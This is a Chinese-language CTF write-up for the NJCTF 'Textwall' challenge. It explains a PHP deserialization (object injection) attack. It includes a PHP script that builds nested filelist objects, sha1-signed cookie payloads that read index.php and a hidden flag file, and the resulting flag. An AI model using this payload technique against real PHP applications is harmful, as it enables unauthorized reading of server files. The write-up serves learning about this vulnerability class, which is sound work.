Textwall-Please Get Flag!!

解题过程

观察

  • 网页为一个留言墙,每一次提交都会在主页上生成<h3>标签数据在每次提交给index.php的cookie中如下

- url解码后如下  

`Cookie:lists=cd7f3533ade31bec81b31cfb1899977a7d887fcca:2:{i:0;s:9:"hiehiehie";i:1;s:5:"nihao";}`  

猜测为php反序列化漏洞

### 分析

- list参数结构:反序列化字符串的sha1值+反序列化字符串即`sha1($s).$s`
- 要利用php反序列化漏洞必须存在以下三点
    - 可控的序列化字符串 
    - 程序中必然实现某个php魔术方法
    - 当调用unserialize()时,必须声明攻击期间所使用的所有类,或者这些类支持对象自动加载  
    
### 源码

由于要实现漏洞利用,则必然要知道魔术方法如何实现,则必定泄漏源码。这次备份文件为`.index.php.swo`

```php
<?php
$lists = [];
Class filelist{
    public function __toString()
    {
        return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
    }
}
........
?>

可知filelist这个类中实现了典型php反序列化漏洞利用的函数__toSting(),分析可知如果用filelist这个类来代替lists数组时,被打印的字符串是类中的source成员所指向的文件名,__toSting()将不被调用。当source成员所指向为一个filelist对象时,__toSting()才将被正确调用,所以构造payload的filelist对象包含两层

Payload

查看index.php源码


<?php
Class filelist{
    public function __toString()
    {
        return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
    }
}
$a = new filelist();
$b = new filelist();
$b->source = "index.php";
$a ->source =$b;
$e = serialize($a);
echo sha1($e).$e;
?>

得到payload,url编码后提交

16d8c3c46653e89932859dd7a2eb12fa59df777aO:8:"filelist":1:{s:6:"source";O:8:"filelist":1:{s:6:"source";s:9:"index.php";}}

可知flag位置


利用位置构造新的payload 

687cded936919910f39d01409b58edc5590556fcO:8:”filelist”:1:{s:6:”source”;O:8:”filelist”:1:{s:6:”source”;s:46:”/var/www/PnK76P1IDfY5KrwsJrh1pL3c6XJ3fj7E_fl4g”;}}


编码后提交得到flag

NJCTF{PHP_un5erialization_a77ack_i5_very_Interes71ng} ```

知识小结

  • 花式源码泄漏 .index.php.swo
  • php反序列化成因以及利用